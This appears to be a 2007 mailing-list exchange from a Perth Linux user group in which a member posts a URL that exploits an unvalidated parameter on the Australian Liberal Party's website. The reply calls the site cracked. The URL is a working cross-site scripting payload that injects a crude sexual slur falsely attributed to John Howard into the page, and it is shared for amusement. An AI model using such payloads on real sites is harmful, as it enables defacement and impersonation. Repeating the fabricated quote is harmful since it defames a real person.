[plug] Liberal Party website

[Michael Baker]

Our XSS friends :P (Cross site scripting url input is not validated)
David Buddrige wrote:
> looks like a cracked website to me. 8-)
>
> On Tue, 2007-10-09 at 20:55 +0800, Michael Baker wrote:
>> www.liberal.org.au/?action=wos.cfm%00%22%3E%3Cscript%3Edocument.all.middletext.innerHTML%3D%22%3Ccenter%3E%3Ch1%3EJohn%20Howard%20says:%3C/h1%3E%3Ci%3E%5C%22I%20like%20to%20suck%20dick!%5C%22%3C/i%3E%3C/center%3E%22%3C%2Fscript%3E 
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> PLUG discussion list: plug at plug.org.au
> http://www.plug.org.au/mailman/listinfo/plug
> Committee e-mail: committee at plug.linux.org.au
>